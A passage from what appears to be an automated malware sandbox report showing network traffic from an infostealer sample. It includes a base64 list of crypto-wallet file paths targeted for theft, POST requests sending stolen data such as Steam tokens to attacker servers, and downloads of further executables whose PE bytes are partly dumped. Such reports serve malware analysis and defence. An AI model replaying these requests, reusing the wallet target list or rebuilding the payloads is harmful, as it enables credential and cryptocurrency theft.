Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 12, 2024 08:30:43.941735983 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIJKJJKEBGHJKFIDGCA Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 2d 2d 0d 0a Data Ascii: ------CGIJKJJKEBGHJKFIDGCAContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------CGIJKJJKEBGHJKFIDGCAContent-Disposition: form-data; name="message"files------CGIJKJJKEBGHJKFIDGCA--
Nov 12, 2024 08:30:44.219213963 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 08:30:44.230245113 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJEBAECGCBKECAAAEBF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="file"------IIJEBAECGCBKECAAAEBF--
Nov 12, 2024 08:30:44.994899988 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 08:30:45.026159048 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJKJDGCGDAKFHIDBGCB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 2d 2d 0d 0a Data Ascii: ------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="message"ybncbhylepme------EHJKJDGCGDAKFHIDBGCB--
Nov 12, 2024 08:30:45.303244114 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 12, 2024 08:30:50.043540001 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAEHJJECAEGCAAAAEGI Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 2d 2d 0d 0a Data Ascii: ------JDAEHJJECAEGCAAAAEGIContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------JDAEHJJECAEGCAAAAEGIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JDAEHJJECAEGCAAAAEGI--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	57137	185.215.113.16	80	2928	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 08:30:45.314383030 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 12, 2024 08:30:46.226988077 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 07:30:46 GMT Content-Type: application/octet-stream Content-Length: 3249152 Last-Modified: Tue, 12 Nov 2024 07:12:33 GMT Connection: keep-alive ETag: "6732ffe1-319400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 a0 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@1N2@WkL11 @.rsrc@.idata @vlyutnsq**@fqcepduh1n1@.taggant01"r1@
Nov 12, 2024 08:30:46.227068901 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 08:30:46.227080107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 08:30:46.227092028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 08:30:46.227102041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 08:30:46.227128983 CET	336	IN	Data Raw: 12 97 66 08 db 12 67 f0 a0 12 2a 2c 0c b9 7a 88 83 57 a3 f0 c0 67 8f b2 47 3b 4d 8d 48 d3 ce 00 13 97 66 08 7b 12 67 f0 a0 12 2a 2c 0c b9 6a 88 c3 57 a3 f0 c0 4f 8f b2 47 3b 2d 8d 48 d3 ce a0 12 97 66 08 9b 12 67 f0 a0 12 2a 2c 0c b9 6a 88 d3 57 Data Ascii: fg,zWgG;MHf{g,jWOG;-Hfg,jWtG;H@f;g,WG;Hf[g,RCXtG;Hfg,n[XyG;H fg,n/XsG;Hfg,b3X
Nov 12, 2024 08:30:46.227140903 CET	1236	IN	Data Raw: 8b 58 a3 f0 c0 47 77 b2 47 3b 0d 8c 48 d3 ce 40 0e 97 66 08 3b 11 67 f0 a0 12 2a 2c 0c b9 62 88 93 58 a3 f0 c0 c7 90 b2 47 3b ed 8b 48 d3 ce e0 0e 97 66 08 5b 11 67 f0 a0 12 2a 2c 0c b9 62 88 9b 58 a3 f0 c0 8f 79 b2 47 3b cd 8c 48 d3 ce 80 0f 97 Data Ascii: XGwG;H@f;g,bXG;Hf[g,bXyG;Hfg,bcXG;H fg,bkXovG;Hfg,bsX7G;mH`fg,b{XsG;MHf{g*,bXwG;-Hf
Nov 12, 2024 08:30:46.227153063 CET	1236	IN	Data Raw: 7b 70 67 f0 a0 12 2a 2c 0c b9 56 88 fb 55 a3 f0 c0 07 8b b2 47 3b 2d 93 48 d3 ce a0 1c 97 66 08 9b 70 67 f0 a0 12 2a 2c 0c b9 52 88 57 56 a3 f0 c0 87 8a b2 47 3b 0d 93 48 d3 ce 40 1d 97 66 08 3b 70 67 f0 a0 12 2a 2c 0c b9 6e 88 2f 56 a3 f0 c0 f7 Data Ascii: {pg,VUG;-Hfpg,RWVG;H@f;pg,n/VxG;Hf[pg,R3VG;Hfog,nVstG;H fog,RVrG;Hfog,VwVG;mH`fog,bV
Nov 12, 2024 08:30:46.227163076 CET	224	IN	Data Raw: 47 3b 6d 8f 48 d3 ce 60 f3 97 66 08 db 6b 67 f0 a0 12 2a 2c 0c b9 6e 88 d7 5a a3 f0 c0 9f 91 b2 47 3b 4d 8e 48 d3 ce 00 ec 97 66 08 7b 6b 67 f0 a0 12 2a 2c 0c b9 6e 88 db 5a a3 f0 c0 cf 91 b2 47 3b 2d 8e 48 d3 ce a0 eb 97 66 08 9b 6b 67 f0 a0 12 Data Ascii: G;mH`fkg,nZG;MHf{kg,nZG;-Hfkg,nZ'G;H@f;kg,VZwG;Hf[kg,bZ_yG;Hffg,bZG;H ffg*,VZG
Nov 12, 2024 08:30:46.227190018 CET	1236	IN	Data Raw: 47 3b 8d 8e 48 d3 ce c0 ed 97 66 08 bb 66 67 f0 a0 12 2a 2c 0c b9 62 88 eb 5a a3 f0 c0 bf 78 b2 47 3b 6d 8e 48 d3 ce 60 ee 97 66 08 db 66 67 f0 a0 12 2a 2c 0c b9 5e 88 f3 5a a3 f0 c0 57 78 b2 47 3b 4d 91 48 d3 ce 00 ef 97 66 08 7b 66 67 f0 a0 12 Data Ascii: G;Hffg,bZxG;mH`ffg,^ZWxG;MHf{fg,W_wyG;-Hffg,j3_?G;H@f;fg,j_wG;Hf[fg,n_G;Hfeg,Rg_wvG;H feg
Nov 12, 2024 08:30:46.232018948 CET	1236	IN	Data Raw: 0c 60 a7 f4 06 d4 d2 f4 84 d3 96 08 ab c8 69 f0 a0 12 2a 2c 0c 1f 2a 2c 0c 1f 2a 2c 0c 1f 2a 2c 0c 5a af f4 bf ef e7 b4 47 58 2f eb 84 14 29 2c 0c 88 f1 0b 96 5a 37 6d 86 d7 25 f2 d3 d8 a3 f0 97 3b cb 05 4b d3 e9 33 44 25 a3 e8 48 a7 71 86 4b 85 Data Ascii: `i,,,,ZGX/),Z7m%;K3D%HqKNMfo1(G0b3q%s,,Nf,,.$PDgng.D,,ZN&e)GNfo1),,,*,r.ffG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	57172	185.215.113.206	80	2928	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 08:30:50.467875004 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAEHJJECAEGCAAAAEGI Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 2d 2d 0d 0a Data Ascii: ------JDAEHJJECAEGCAAAAEGIContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------JDAEHJJECAEGCAAAAEGIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JDAEHJJECAEGCAAAAEGI--
Nov 12, 2024 08:30:51.883997917 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	57297	185.215.113.43	80	6204	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 08:32:04.924869061 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 08:32:05.836167097 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 07:32:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	57298	185.215.113.43	80	6204	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 08:32:07.345225096 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 08:32:08.294780016 CET	468	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 07:32:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 31 35 0d 0a 20 3c 63 3e 31 30 30 35 37 31 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 35 37 31 31 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 37 31 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 34 66 34 62 32 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 115 <c>1005710001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1005711031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1005712001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	57299	185.215.113.16	80	6204	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 08:32:08.302778959 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 08:32:09.202733040 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 07:32:09 GMT Content-Type: application/octet-stream Content-Length: 1802752 Last-Modified: Tue, 12 Nov 2024 07:12:25 GMT Connection: keep-alive ETag: "6732ffd9-1b8200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 40 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 69 00 00 04 00 00 cb 7f [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"@i@pi@M$a$ $b@.rsrc $r@.idata $r@ *$t@sftduhzg@Ov@hsjflyou0i\@.taggant0@i"`@
Nov 12, 2024 08:32:09.202760935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 08:32:09.202780962 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 08:32:09.202790976 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 08:32:09.202800989 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
